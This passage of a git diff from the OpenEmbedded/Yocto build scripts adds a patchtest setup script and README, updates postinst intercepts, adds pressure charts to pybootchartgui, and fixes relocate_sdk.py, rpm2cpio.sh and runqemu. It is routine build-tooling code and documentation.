+# Create the mboxes directory if it doesn't exist
+if [ ! -d "$MBOX_DIR" ]; then
+ mkdir -p "${MBOX_DIR}"
+ echo "Created ${MBOX_DIR}"
+fi
+
+# clone poky if it's not already present; otherwise, update it
+if [ ! -d "$POKY_REPO" ]; then
+ BASENAME=$(basename ${POKY_REPO})
+ git clone "${POKY_REPO}" "${SHAREDIR}/${BASENAME}"
+else
+ (cd "${SHAREDIR}/$BASENAME" && git pull)
+fi
+
+# clone patchtest if it's not already present; otherwise, update it
+if [ ! -d "$PATCHTEST_REPO" ]; then
+ BASENAME=$(basename ${PATCHTEST_REPO})
+ git clone "${PATCHTEST_REPO}" "${SHAREDIR}/${BASENAME}"
+else
+ (cd "${SHAREDIR}/$BASENAME" && git pull)
+fi
diff --git a/scripts/patchtest.README b/scripts/patchtest.README
new file mode 100644
index 0000000000..76b5fcdb6d
--- /dev/null
+++ b/scripts/patchtest.README
@@ -0,0 +1,153 @@
+# Patchtest
+
+## Introduction
+
+Patchtest is a test framework for community patches based on the standard
+unittest python module. As input, it needs tree elements to work properly:
+a patch in mbox format (either created with `git format-patch` or fetched
+from 'patchwork'), a test suite and a target repository.
+
+The first test suite intended to be used with patchtest is found in the
+openembedded-core repository [1] targeted for patches that get into the
+openembedded-core mailing list [2]. This suite is also intended as a
+baseline for development of similar suites for other layers as needed.
+
+Patchtest can either run on a host or a guest machine, depending on which
+environment the execution needs to be done. If you plan to test your own patches
+(a good practice before these are sent to the mailing list), the easiest way is
+to install and execute on your local host; in the other hand, if automatic
+testing is intended, the guest method is strongly recommended. The guest
+method requires the use of the patchtest layer, in addition to the tools
+available in oe-core: https://git.yoctoproject.org/patchtest/
+
+## Installation
+
+As a tool for use with the Yocto Project, the [quick start guide](https://docs.yoctoproject.org/brief-yoctoprojectqs/index.html)
+contains the necessary prerequisites for a basic project. In addition,
+patchtest relies on the following Python modules:
+
+- boto3 (for sending automated results emails only)
+- git-pw>=2.5.0
+- jinja2
+- pylint
+- pyparsing>=3.0.9
+- unidiff
+
+These can be installed by running `pip install -r
+meta/lib/patchtest/requirements.txt`. Note that git-pw is not
+automatically added to the user's PATH; by default, it is installed at
+~/.local/bin/git-pw.
+
+For git-pw (and therefore scripts such as patchtest-get--series) to work, you need
+to provide a Patchwork instance in your user's .gitconfig, like so (the project
+can be specified using the --project argument):
+
+ git config --global pw.server "https://patchwork.yoctoproject.org/api/1.2/"
+
+To work with patchtest, you should have the following repositories cloned:
+
+1. https://git.openembedded.org/openembedded-core/ (or https://git.yoctoproject.org/poky/)
+2. https://git.openembedded.org/bitbake/ (if not using poky)
+3. https://git.yoctoproject.org/patchtest (if using guest mode)
+
+## Usage
+
+### Obtaining Patches
+
+Patch files can be obtained directly from cloned repositories using `git
+format-patch -N` (where N is the number of patches starting from HEAD to
+generate). git-pw can also be used with filters for users, patch/series IDs,
+and timeboxes if specific patches are desired. For more information, see the
+git-pw [documentation](https://patchwork.readthedocs.io/projects/git-pw/en/latest/).
+
+Alternatively, `scripts/patchtest-get-series` can be used to pull mbox files from
+the Patchwork instance configured previously in .gitconfig. It uses a log file
+called ".series_test.log" to store and compare series IDs so that the same
+versions of a patch are not tested multiple times unintentionally. By default,
+it will pull up to five patch series from the last 30 minutes using oe-core as
+the target project, but these parameters can be configured using the `--limit`,
+`--interval`, and `--project` arguments respectively. For more information, run
+`patchtest-get-series -h`.
+
+### Host Mode
+
+To run patchtest on the host, do the following:
+
+1. In openembedded-core/poky, do `source oe-init-build-env`
+2. Generate patch files from the target repository by doing `git-format patch -N`,
+ where N is the number of patches starting at HEAD, or by using git-pw
+ or patchtest-get-series
+3. Run patchtest on a patch file by doing the following:
+
+ patchtest --patch /path/to/patch/file
+
+ or, if you have stored the patch files in a directory, do:
+
+ patchtest --directory /path/to/patch/directory
+
+ For example, to test `master-gcc-Fix--fstack-protector-issue-on-aarch64.patch` against the oe-core test suite:
+
+ patchtest --patch master-gcc-Fix--fstack-protector-issue-on-aarch64.patch
+
+ If you want to use a different test suite or target repository, you can use the --testdir and --repodir flags:
+
+ patchtest --patch /path/to/patch/file --repodir /path/to/repo --testdir /path/to/test/dir
+
+### Guest Mode
+
+Patchtest's guest mode has been refactored to more closely mirror the
+typical Yocto Project image build workflow, but there are still some key
+differences to keep in mind. The primary objective is to provide a level
+of isolation from the host when testing patches pulled automatically
+from the mailing lists. When executed this way, the test process is
+essentially running random code from the internet and could be
+catastrophic if malicious bits or even poorly-handled edge cases aren't
+protected against. In order to use this mode, the
+https://git.yoctoproject.org/patchtest/ repository must be cloned and
+the meta-patchtest layer added to bblayers.conf.
+
+The general flow of guest mode is:
+
+1. Run patchtest-setup-sharedir --directory <dirname> to create a
+ directory for mounting
+2. Collect patches via patchtest-get-series (or other manual step) into the
+ <dirname>/mboxes path
+3. Ensure that a user with ID 1200 has appropriate read/write
+ permissions to <dirname> and <dirname>/mboxes, so that the
+ "patchtest" user in the core-image-patchtest image can function
+4. Build the core-image-patchtest image
+5. Run the core-image-patchtest image with the mounted sharedir, like
+ so:
+ `runqemu kvm nographic qemuparams="-snapshot -fsdev
+ local,id=test_mount,path=/workspace/yocto/poky/build/patchtestdir,security_model=mapped
+ -device virtio-9p-pci,fsdev=test_mount,mount_tag=test_mount -smp 4 -m
+ 2048"`
+
+Patchtest runs as an initscript for the core-image-patchtest image and
+shuts down after completion, so there is no input required from a user
+during operation. Unlike in host mode, the guest is designed to
+automatically generate test result files, in the same directory as the
+targeted patch files but with .testresult as an extension. These contain
+the entire output of the patchtest run for each respective pass,
+including the PASS, FAIL, and SKIP indicators for each test run.
+
+## Contributing
+
+The yocto mailing list (openembedded-core@lists.openembedded.org) is used for questions,
+comments and patch review. It is subscriber only, so please register before
+posting.
+
+When sending single patches, please use something like:
+
+ git send-email -M -1 --to=openembedded-core@lists.openembedded.org --subject-prefix=OE-core][PATCH
+
+## Maintenance
+-----------
+
+Maintainers:
+ Trevor Gamblin <tgamblin@baylibre.com>
+
+## Links
+-----
+[1] https://git.openembedded.org/openembedded-core/
+[2] https://www.yoctoproject.org/community/mailing-lists/
diff --git a/scripts/postinst-intercepts/update_font_cache b/scripts/postinst-intercepts/update_font_cache
index 46bdb8c572..900db042d6 100644
--- a/scripts/postinst-intercepts/update_font_cache
+++ b/scripts/postinst-intercepts/update_font_cache
@@ -5,6 +5,8 @@
set -e
+rm -f $D${fontconfigcachedir}/CACHEDIR.TAG
+
PSEUDO_UNLOAD=1 ${binprefix}qemuwrapper -L $D -E ${fontconfigcacheenv} $D${libexecdir}/${binprefix}fc-cache --sysroot=$D --system-only ${fontconfigcacheparams}
chown -R root:root $D${fontconfigcachedir}
diff --git a/scripts/postinst-intercepts/update_gtk_icon_cache b/scripts/postinst-intercepts/update_gtk_icon_cache
index 99367a2855..a92bd840c6 100644
--- a/scripts/postinst-intercepts/update_gtk_icon_cache
+++ b/scripts/postinst-intercepts/update_gtk_icon_cache
@@ -11,7 +11,11 @@ $STAGING_DIR_NATIVE/${libdir_native}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders --u
for icondir in $D/usr/share/icons/*/ ; do
if [ -d $icondir ] ; then
- gtk-update-icon-cache -fqt $icondir
+ for gtkuic_cmd in gtk-update-icon-cache gtk4-update-icon-cache ; do
+ if [ -n "$(which $gtkuic_cmd)" ]; then
+ $gtkuic_cmd -fqt $icondir
+ fi
+ done
fi
done
diff --git a/scripts/postinst-intercepts/update_mandb b/scripts/postinst-intercepts/update_mandb
new file mode 100644
index 0000000000..f91bafdb11
--- /dev/null
+++ b/scripts/postinst-intercepts/update_mandb
@@ -0,0 +1,18 @@
+#!/bin/sh
+#
+# SPDX-License-Identifier: MIT
+#
+
+set -eu
+
+# Create a temporary man_db.conf with paths to the rootfs, as mandb needs absolute paths
+CONFIG=$(mktemp --tmpdir update-mandb.XXXXX)
+sed "s:\(\s\)/:\1$D/:g" $D${sysconfdir}/man_db.conf > $CONFIG
+
+mkdir -p $D${localstatedir}/cache/man/
+
+PSEUDO_UNLOAD=1 ${binprefix}qemuwrapper -L $D $D${bindir}/mandb --config-file $CONFIG --create
+
+rm -f $CONFIG
+
+chown -R man:man $D${localstatedir}/cache/man/
diff --git a/scripts/postinst-intercepts/update_udev_hwdb b/scripts/postinst-intercepts/update_udev_hwdb
index 102e99b947..8b3f5de791 100644
--- a/scripts/postinst-intercepts/update_udev_hwdb
+++ b/scripts/postinst-intercepts/update_udev_hwdb
@@ -9,13 +9,17 @@ case "${PREFERRED_PROVIDER_udev}" in
systemd)
UDEV_EXTRA_ARGS="--usr"
UDEVLIBDIR="${rootlibexecdir}"
+ UDEVADM="${base_bindir}/udevadm"
;;
*)
UDEV_EXTRA_ARGS=""
UDEVLIBDIR="${sysconfdir}"
+ UDEVADM="${bindir}/udevadm"
;;
esac
-PSEUDO_UNLOAD=1 ${binprefix}qemuwrapper -L $D $D${libexecdir}/${binprefix}udevadm hwdb --update --root $D ${UDEV_EXTRA_ARGS}
+rm -f $D${UDEVLIBDIR}/udev/hwdb.bin
+PSEUDO_UNLOAD=1 ${binprefix}qemuwrapper -L $D $D${UDEVADM} hwdb --update --root $D ${UDEV_EXTRA_ARGS} ||
+ PSEUDO_UNLOAD=1 qemuwrapper -L $D $D${UDEVADM} hwdb --update --root $D ${UDEV_EXTRA_ARGS}
chown root:root $D${UDEVLIBDIR}/udev/hwdb.bin
diff --git a/scripts/pybootchartgui/pybootchartgui/draw.py b/scripts/pybootchartgui/pybootchartgui/draw.py
index 53324b9f8b..c6e67833ab 100644
--- a/scripts/pybootchartgui/pybootchartgui/draw.py
+++ b/scripts/pybootchartgui/pybootchartgui/draw.py
@@ -80,6 +80,22 @@ MEM_BUFFERS_COLOR = (0.4, 0.4, 0.4, 0.3)
# Swap color
MEM_SWAP_COLOR = DISK_TPUT_COLOR
+# avg10 CPU pressure color
+CPU_PRESSURE_AVG10_COLOR = (0.0, 0.0, 0.0, 1.0)
+# delta total CPU pressure color
+CPU_PRESSURE_TOTAL_COLOR = CPU_COLOR
+# avg10 IO pressure color
+IO_PRESSURE_AVG10_COLOR = (0.0, 0.0, 0.0, 1.0)
+# delta total IO pressure color
+IO_PRESSURE_TOTAL_COLOR = IO_COLOR
+# avg10 memory pressure color
+MEM_PRESSURE_AVG10_COLOR = (0.0, 0.0, 0.0, 1.0)
+# delta total memory pressure color
+MEM_PRESSURE_TOTAL_COLOR = DISK_TPUT_COLOR
+
+
+
+
# Process border color.
PROC_BORDER_COLOR = (0.71, 0.71, 0.71, 1.0)
# Waiting process color.
@@ -267,11 +283,14 @@ def draw_chart(ctx, color, fill, chart_bounds, data, proc_tree, data_range):
# avoid divide by zero
if max_y == 0:
max_y = 1.0
- xscale = float (chart_bounds[2]) / (max_x - x_shift)
+ if (max_x - x_shift):
+ xscale = float (chart_bounds[2]) / (max_x - x_shift)
+ else:
+ xscale = float (chart_bounds[2])
# If data_range is given, scale the chart so that the value range in
# data_range matches the chart bounds exactly.
# Otherwise, scale so that the actual data matches the chart bounds.
- if data_range:
+ if data_range and (data_range[1] - data_range[0]):
yscale = float(chart_bounds[3]) / (data_range[1] - data_range[0])
ybase = data_range[0]
else:
@@ -337,6 +356,12 @@ def extents(options, xscale, trace):
h += 30 + bar_h
if trace.disk_stats:
h += 30 + bar_h
+ if trace.cpu_pressure:
+ h += 30 + bar_h
+ if trace.io_pressure:
+ h += 30 + bar_h
+ if trace.mem_pressure:
+ h += 30 + bar_h
if trace.monitor_disk:
h += 30 + bar_h
if trace.mem_stats:
@@ -412,6 +437,108 @@ def render_charts(ctx, options, clip, trace, curr_y, w, h, sec_w):
curr_y = curr_y + 30 + bar_h
+ # render CPU pressure chart
+ if trace.cpu_pressure:
+ max_sample_avg = max (trace.cpu_pressure, key = lambda s: s.avg10)
+ max_sample_total = max (trace.cpu_pressure, key = lambda s: s.deltaTotal)
+ draw_legend_line(ctx, "avg10 CPU Pressure (max %d%%)" % (max_sample_avg.avg10), CPU_PRESSURE_AVG10_COLOR, off_x, curr_y+20, leg_s)
+ draw_legend_box(ctx, "delta total CPU Pressure (max %d)" % (max_sample_total.deltaTotal), CPU_PRESSURE_TOTAL_COLOR, off_x + 240, curr_y+20, leg_s)
+
+ # render delta total cpu
+ chart_rect = (off_x, curr_y+30, w, bar_h)
+ if clip_visible (clip, chart_rect):
+ draw_box_ticks (ctx, chart_rect, sec_w)
+ draw_annotations (ctx, proc_tree, trace.times, chart_rect)
+ draw_chart (ctx, CPU_PRESSURE_TOTAL_COLOR, True, chart_rect, \
+ [(sample.time, sample.deltaTotal) for sample in trace.cpu_pressure], \
+ proc_tree, None)
+
+ # render avg10 cpu
+ if clip_visible (clip, chart_rect):
+ draw_chart (ctx, CPU_PRESSURE_AVG10_COLOR, False, chart_rect, \
+ [(sample.time, sample.avg10) for sample in trace.cpu_pressure], \
+ proc_tree, None)
+
+ pos_x = off_x + ((max_sample_avg.time - proc_tree.start_time) * w / proc_tree.duration)
+
+ shift_x, shift_y = -20, 20
+ if (pos_x < off_x + 245):
+ shift_x, shift_y = 5, 40
+
+
+ label = "%d%%" % (max_sample_avg.avg10)
+ draw_text (ctx, label, CPU_PRESSURE_AVG10_COLOR, pos_x + shift_x, curr_y + shift_y)
+
+ curr_y = curr_y + 30 + bar_h
+
+ # render I/O pressure chart
+ if trace.io_pressure:
+ max_sample_avg = max (trace.io_pressure, key = lambda s: s.avg10)
+ max_sample_total = max (trace.io_pressure, key = lambda s: s.deltaTotal)
+ draw_legend_line(ctx, "avg10 I/O Pressure (max %d%%)" % (max_sample_avg.avg10), IO_PRESSURE_AVG10_COLOR, off_x, curr_y+20, leg_s)
+ draw_legend_box(ctx, "delta total I/O Pressure (max %d)" % (max_sample_total.deltaTotal), IO_PRESSURE_TOTAL_COLOR, off_x + 240, curr_y+20, leg_s)
+
+ # render delta total io
+ chart_rect = (off_x, curr_y+30, w, bar_h)
+ if clip_visible (clip, chart_rect):
+ draw_box_ticks (ctx, chart_rect, sec_w)
+ draw_annotations (ctx, proc_tree, trace.times, chart_rect)
+ draw_chart (ctx, IO_PRESSURE_TOTAL_COLOR, True, chart_rect, \
+ [(sample.time, sample.deltaTotal) for sample in trace.io_pressure], \
+ proc_tree, None)
+
+ # render avg10 io
+ if clip_visible (clip, chart_rect):
+ draw_chart (ctx, IO_PRESSURE_AVG10_COLOR, False, chart_rect, \
+ [(sample.time, sample.avg10) for sample in trace.io_pressure], \
+ proc_tree, None)
+
+ pos_x = off_x + ((max_sample_avg.time - proc_tree.start_time) * w / proc_tree.duration)
+
+ shift_x, shift_y = -20, 20
+ if (pos_x < off_x + 245):
+ shift_x, shift_y = 5, 40
+
+
+ label = "%d%%" % (max_sample_avg.avg10)
+ draw_text (ctx, label, IO_PRESSURE_AVG10_COLOR, pos_x + shift_x, curr_y + shift_y)
+
+ curr_y = curr_y + 30 + bar_h
+
+ # render MEM pressure chart
+ if trace.mem_pressure:
+ max_sample_avg = max (trace.mem_pressure, key = lambda s: s.avg10)
+ max_sample_total = max (trace.mem_pressure, key = lambda s: s.deltaTotal)
+ draw_legend_line(ctx, "avg10 MEM Pressure (max %d%%)" % (max_sample_avg.avg10), MEM_PRESSURE_AVG10_COLOR, off_x, curr_y+20, leg_s)
+ draw_legend_box(ctx, "delta total MEM Pressure (max %d)" % (max_sample_total.deltaTotal), MEM_PRESSURE_TOTAL_COLOR, off_x + 240, curr_y+20, leg_s)
+
+ # render delta total mem
+ chart_rect = (off_x, curr_y+30, w, bar_h)
+ if clip_visible (clip, chart_rect):
+ draw_box_ticks (ctx, chart_rect, sec_w)
+ draw_annotations (ctx, proc_tree, trace.times, chart_rect)
+ draw_chart (ctx, MEM_PRESSURE_TOTAL_COLOR, True, chart_rect, \
+ [(sample.time, sample.deltaTotal) for sample in trace.mem_pressure], \
+ proc_tree, None)
+
+ # render avg10 mem
+ if clip_visible (clip, chart_rect):
+ draw_chart (ctx, MEM_PRESSURE_AVG10_COLOR, False, chart_rect, \
+ [(sample.time, sample.avg10) for sample in trace.mem_pressure], \
+ proc_tree, None)
+
+ pos_x = off_x + ((max_sample_avg.time - proc_tree.start_time) * w / proc_tree.duration)
+
+ shift_x, shift_y = -20, 20
+ if (pos_x < off_x + 245):
+ shift_x, shift_y = 5, 40
+
+
+ label = "%d%%" % (max_sample_avg.avg10)
+ draw_text (ctx, label, MEM_PRESSURE_AVG10_COLOR, pos_x + shift_x, curr_y + shift_y)
+
+ curr_y = curr_y + 30 + bar_h
+
# render disk space usage
#
# Draws the amount of disk space used on each volume relative to the
@@ -493,8 +620,8 @@ def render_charts(ctx, options, clip, trace, curr_y, w, h, sec_w):
return curr_y
-def render_processes_chart(ctx, options, trace, curr_y, w, h, sec_w):
- chart_rect = [off_x, curr_y+header_h, w, h - curr_y - 1 * off_y - header_h ]
+def render_processes_chart(ctx, options, trace, curr_y, width, h, sec_w):
+ chart_rect = [off_x, curr_y+header_h, width, h - curr_y - 1 * off_y - header_h ]
draw_legend_box (ctx, "Configure", \
TASK_COLOR_CONFIGURE, off_x , curr_y + 45, leg_s)
@@ -519,8 +646,9 @@ def render_processes_chart(ctx, options, trace, curr_y, w, h, sec_w):
offset = trace.min or min(trace.start.keys())
for start in sorted(trace.start.keys()):
for process in sorted(trace.start[start]):
+ elapsed_time = trace.processes[process][1] - start
if not options.app_options.show_all and \
- trace.processes[process][1] - start < options.app_options.mintime:
+ elapsed_time < options.app_options.mintime:
continue
task = process.split(":")[1]
@@ -529,14 +657,23 @@ def render_processes_chart(ctx, options, trace, curr_y, w, h, sec_w):
#print(s)
x = chart_rect[0] + (start - offset) * sec_w
- w = ((trace.processes[process][1] - start) * sec_w)
+ w = elapsed_time * sec_w
+
+ def set_alfa(color, alfa):
+ clist = list(color)
+ clist[-1] = alfa
+ return tuple(clist)
#print("proc at %s %s %s %s" % (x, y, w, proc_h))
col = None
if task == "do_compile":
col = TASK_COLOR_COMPILE
+ elif "do_compile" in task:
+ col = set_alfa(TASK_COLOR_COMPILE, 0.25)
elif task == "do_configure":
col = TASK_COLOR_CONFIGURE
+ elif "do_configure" in task:
+ col = set_alfa(TASK_COLOR_CONFIGURE, 0.25)
elif task == "do_install":
col = TASK_COLOR_INSTALL
elif task == "do_populate_sysroot":
@@ -554,7 +691,10 @@ def render_processes_chart(ctx, options, trace, curr_y, w, h, sec_w):
draw_fill_rect(ctx, col, (x, y, w, proc_h))
draw_rect(ctx, PROC_BORDER_COLOR, (x, y, w, proc_h))
- draw_label_in_box(ctx, PROC_TEXT_COLOR, process, x, y + proc_h - 4, w, proc_h)
+ # Show elapsed time for each task
+ process = "%ds %s" % (elapsed_time, process)
+ draw_label_in_box(ctx, PROC_TEXT_COLOR, process, x, y + proc_h - 4, w, width)
+
y = y + proc_h
return curr_y
@@ -695,7 +835,7 @@ def draw_processes_recursively(ctx, proc, proc_tree, y, proc_h, rect, clip) :
cmdString = proc.cmd
else:
cmdString = ''
- if (OPTIONS.show_pid or OPTIONS.show_all) and ipid is not 0:
+ if (OPTIONS.show_pid or OPTIONS.show_all) and ipid != 0:
cmdString = cmdString + " [" + str(ipid // 1000) + "]"
if OPTIONS.show_all:
if proc.args:
@@ -793,7 +933,7 @@ class CumlSample:
if self.color is None:
i = self.next() % HSV_MAX_MOD
h = 0.0
- if i is not 0:
+ if i != 0:
h = (1.0 * i) / HSV_MAX_MOD
s = 0.5
v = 1.0
diff --git a/scripts/pybootchartgui/pybootchartgui/parsing.py b/scripts/pybootchartgui/pybootchartgui/parsing.py
index b42dac6b88..63a53b6b88 100644
--- a/scripts/pybootchartgui/pybootchartgui/parsing.py
+++ b/scripts/pybootchartgui/pybootchartgui/parsing.py
@@ -49,6 +49,9 @@ class Trace:
self.parent_map = None
self.mem_stats = []
self.monitor_disk = None
+ self.cpu_pressure = []
+ self.io_pressure = []
+ self.mem_pressure = []
self.times = [] # Always empty, but expected by draw.py when drawing system charts.
if len(paths):
@@ -128,7 +131,7 @@ class Trace:
def compile(self, writer):
def find_parent_id_for(pid):
- if pid is 0:
+ if pid == 0:
return 0
ppid = self.parent_map.get(pid)
if ppid:
@@ -554,6 +557,29 @@ def _parse_monitor_disk_log(file):
return disk_stats
+def _parse_pressure_logs(file, filename):
+ """
+ Parse file for "some" pressure with 'avg10', 'avg60' 'avg300' and delta total values
+ (in that order) directly stored on one line for both CPU and IO, based on filename.
+ """
+ pressure_stats = []
+ if filename == "cpu.log":
+ SamplingClass = CPUPressureSample
+ elif filename == "memory.log":
+ SamplingClass = MemPressureSample
+ else:
+ SamplingClass = IOPressureSample
+ for time, lines in _parse_timed_blocks(file):
+ for line in lines:
+ if not line: continue
+ tokens = line.split()
+ avg10 = float(tokens[0])
+ avg60 = float(tokens[1])
+ avg300 = float(tokens[2])
+ delta = float(tokens[3])
+ pressure_stats.append(SamplingClass(time, avg10, avg60, avg300, delta))
+
+ return pressure_stats
# if we boot the kernel with: initcall_debug printk.time=1 we can
# get all manner of interesting data from the dmesg output
@@ -741,6 +767,13 @@ def _do_parse(writer, state, filename, file):
state.cmdline = _parse_cmdline_log(writer, file)
elif name == "monitor_disk.log":
state.monitor_disk = _parse_monitor_disk_log(file)
+ #pressure logs are in a subdirectory
+ elif name == "cpu.log":
+ state.cpu_pressure = _parse_pressure_logs(file, name)
+ elif name == "io.log":
+ state.io_pressure = _parse_pressure_logs(file, name)
+ elif name == "memory.log":
+ state.mem_pressure = _parse_pressure_logs(file, name)
elif not filename.endswith('.log'):
_parse_bitbake_buildstats(writer, state, filename, file)
t2 = time.process_time()
diff --git a/scripts/pybootchartgui/pybootchartgui/samples.py b/scripts/pybootchartgui/pybootchartgui/samples.py
index 9fc309b3ab..a70d8a5a28 100644
--- a/scripts/pybootchartgui/pybootchartgui/samples.py
+++ b/scripts/pybootchartgui/pybootchartgui/samples.py
@@ -37,6 +37,31 @@ class CPUSample:
return str(self.time) + "\t" + str(self.user) + "\t" + \
str(self.sys) + "\t" + str(self.io) + "\t" + str (self.swap)
+class CPUPressureSample:
+ def __init__(self, time, avg10, avg60, avg300, deltaTotal):
+ self.time = time
+ self.avg10 = avg10
+ self.avg60 = avg60
+ self.avg300 = avg300
+ self.deltaTotal = deltaTotal
+
+class IOPressureSample:
+ def __init__(self, time, avg10, avg60, avg300, deltaTotal):
+ self.time = time
+ self.avg10 = avg10
+ self.avg60 = avg60
+ self.avg300 = avg300
+ self.deltaTotal = deltaTotal
+
+class MemPressureSample:
+ def __init__(self, time, avg10, avg60, avg300, deltaTotal):
+ self.time = time
+ self.avg10 = avg10
+ self.avg60 = avg60
+ self.avg300 = avg300
+ self.deltaTotal = deltaTotal
+
+
class MemSample:
used_values = ('MemTotal', 'MemFree', 'Buffers', 'Cached', 'SwapTotal', 'SwapFree',)
diff --git a/scripts/pythondeps b/scripts/pythondeps
index be21dd84eb..48277ec28a 100755
--- a/scripts/pythondeps
+++ b/scripts/pythondeps
@@ -1,5 +1,7 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Determine dependencies of python scripts or available python modules in a search path.
diff --git a/scripts/relocate_sdk.py b/scripts/relocate_sdk.py
index 8c0fdb986a..8a728720ba 100755
--- a/scripts/relocate_sdk.py
+++ b/scripts/relocate_sdk.py
@@ -30,9 +30,16 @@ else:
old_prefix = re.compile(b("##DEFAULT_INSTALL_DIR##"))
def get_arch():
+ global endian_prefix
f.seek(0)
e_ident =f.read(16)
- ei_mag0,ei_mag1_3,ei_class = struct.unpack("<B3sB11x", e_ident)
+ ei_mag0,ei_mag1_3,ei_class,ei_data,ei_version = struct.unpack("<B3sBBB9x", e_ident)
+
+ # ei_data = 1 for little-endian & 0 for big-endian
+ if ei_data == 1:
+ endian_prefix = '<'
+ else:
+ endian_prefix = '>'
if (ei_mag0 != 0x7f and ei_mag1_3 != "ELF") or ei_class == 0:
return 0
@@ -51,11 +58,11 @@ def parse_elf_header():
if arch == 32:
# 32bit
- hdr_fmt = "<HHILLLIHHHHHH"
+ hdr_fmt = endian_prefix + "HHILLLIHHHHHH"
hdr_size = 52
else:
# 64bit
- hdr_fmt = "<HHIQQQIHHHHHH"
+ hdr_fmt = endian_prefix + "HHIQQQIHHHHHH"
hdr_size = 64
e_type, e_machine, e_version, e_entry, e_phoff, e_shoff, e_flags,\
@@ -64,9 +71,9 @@ def parse_elf_header():
def change_interpreter(elf_file_name):
if arch == 32:
- ph_fmt = "<IIIIIIII"
+ ph_fmt = endian_prefix + "IIIIIIII"
else:
- ph_fmt = "<IIQQQQQQ"
+ ph_fmt = endian_prefix + "IIQQQQQQ"
""" look for PT_INTERP section """
for i in range(0,e_phnum):
@@ -97,25 +104,26 @@ def change_interpreter(elf_file_name):
if (len(new_dl_path) >= p_filesz):
print("ERROR: could not relocate %s, interp size = %i and %i is needed." \
% (elf_file_name, p_memsz, len(new_dl_path) + 1))
- break
+ return False
dl_path = new_dl_path + b("\0") * (p_filesz - len(new_dl_path))
f.seek(p_offset)
f.write(dl_path)
break
+ return True
def change_dl_sysdirs(elf_file_name):
if arch == 32:
- sh_fmt = "<IIIIIIIIII"
+ sh_fmt = endian_prefix + "IIIIIIIIII"
else:
- sh_fmt = "<IIQQQQIIQQ"
+ sh_fmt = endian_prefix + "IIQQQQIIQQ"
""" read section string table """
f.seek(e_shoff + e_shstrndx * e_shentsize)
sh_hdr = f.read(e_shentsize)
if arch == 32:
- sh_offset, sh_size = struct.unpack("<16xII16x", sh_hdr)
+ sh_offset, sh_size = struct.unpack(endian_prefix + "16xII16x", sh_hdr)
else:
- sh_offset, sh_size = struct.unpack("<24xQQ24x", sh_hdr)
+ sh_offset, sh_size = struct.unpack(endian_prefix + "24xQQ24x", sh_hdr)
f.seek(sh_offset)
sh_strtab = f.read(sh_size)
@@ -215,6 +223,7 @@ else:
executables_list = sys.argv[3:]
+errors = False
for e in executables_list:
perms = os.stat(e)[stat.ST_MODE]
if os.access(e, os.W_OK|os.R_OK):
@@ -240,7 +249,8 @@ for e in executables_list:
arch = get_arch()
if arch:
parse_elf_header()
- change_interpreter(e)
+ if not change_interpreter(e):
+ errors = True
change_dl_sysdirs(e)
""" change permissions back """
@@ -253,3 +263,6 @@ for e in executables_list:
print("New file size for %s is different. Looks like a relocation error!", e)
sys.exit(-1)
+if errors:
+ print("Relocation of one or more executables failed.")
+ sys.exit(-1)
diff --git a/scripts/rpm2cpio.sh b/scripts/rpm2cpio.sh
index 7cd771bbe7..8199b43784 100755
--- a/scripts/rpm2cpio.sh
+++ b/scripts/rpm2cpio.sh
@@ -7,7 +7,7 @@ fatal() {
}
pkg="$1"
-[ -n "$pkg" -a -e "$pkg" ] ||
+[ -n "$pkg" ] && [ -e "$pkg" ] ||
fatal "No package supplied"
_dd() {
@@ -16,14 +16,23 @@ _dd() {
}
calcsize() {
+
+ case "$(_dd $1 bs=4 count=1 | tr -d '\0')" in
+ "$(printf '\216\255\350')"*) ;; # '\x8e\xad\xe8'
+ *) fatal "File doesn't look like rpm: $pkg" ;;
+ esac
+
offset=$(($1 + 8))
local i b b0 b1 b2 b3 b4 b5 b6 b7
i=0
while [ $i -lt 8 ]; do
- b=$(_dd $(($offset + $i)) bs=1 count=1; echo X)
- b=${b%X}
+ # add . to not loose \n
+ # strip \0 as it gets dropped with warning otherwise
+ b="$(_dd $(($offset + $i)) bs=1 count=1 | tr -d '\0' ; echo .)"
+ b=${b%.} # strip . again
+
[ -z "$b" ] &&
b="0" ||
b="$(exec printf '%u\n' "'$b")"
@@ -35,7 +44,7 @@ calcsize() {
offset=$(($offset + $rsize))
}
-case "$(_dd 0 bs=8 count=1)" in
+case "$(_dd 0 bs=4 count=1 | tr -d '\0')" in
"$(printf '\355\253\356\333')"*) ;; # '\xed\xab\xee\xdb'
*) fatal "File doesn't look like rpm: $pkg" ;;
esac
@@ -46,10 +55,11 @@ sigsize=$rsize
calcsize $(($offset + (8 - ($sigsize % 8)) % 8))
hdrsize=$rsize
-case "$(_dd $offset bs=3 count=1)" in
- "$(printf '\102\132')"*) _dd $offset | bunzip2 ;; # '\x42\x5a'
- "$(printf '\037\213')"*) _dd $offset | gunzip ;; # '\x1f\x8b'
- "$(printf '\375\067')"*) _dd $offset | xzcat ;; # '\xfd\x37'
- "$(printf '\135\000')"*) _dd $offset | unlzma ;; # '\x5d\x00'
- *) fatal "Unrecognized rpm file: $pkg" ;;
+case "$(_dd $offset bs=2 count=1 | tr -d '\0')" in
+ "$(printf '\102\132')") _dd $offset | bunzip2 ;; # '\x42\x5a'
+ "$(printf '\037\213')") _dd $offset | gunzip ;; # '\x1f\x8b'
+ "$(printf '\375\067')") _dd $offset | xzcat ;; # '\xfd\x37'
+ "$(printf '\135')") _dd $offset | unlzma ;; # '\x5d\x00'
+ "$(printf '\050\265')") _dd $offset | unzstd ;; # '\x28\xb5'
+ *) fatal "Unrecognized payload compression format in rpm file: $pkg" ;;
esac
diff --git a/scripts/runqemu b/scripts/runqemu
index c40acc4a86..69cd44864e 100755
--- a/scripts/runqemu
+++ b/scripts/runqemu
@@ -18,6 +18,7 @@ import shutil
import glob
import configparser
import signal
+import time
class RunQemuError(Exception):
"""Custom exception to raise on known errors."""
@@ -65,19 +66,25 @@ of the following environment variables (in any order):
MACHINE - the machine name (optional, autodetected from KERNEL filename if unspecified)
Simplified QEMU command-line options can be passed with:
nographic - disable video console
+ nonetwork - disable network connectivity
+ novga - Disable VGA emulation completely
sdl - choose the SDL UI frontend
gtk - choose the Gtk UI frontend
gl - enable virgl-based GL acceleration (also needs gtk or sdl options)
gl-es - enable virgl-based GL acceleration, using OpenGL ES (also needs gtk or sdl options)
egl-headless - enable headless EGL output; use vnc (via publicvnc option) or spice to see it
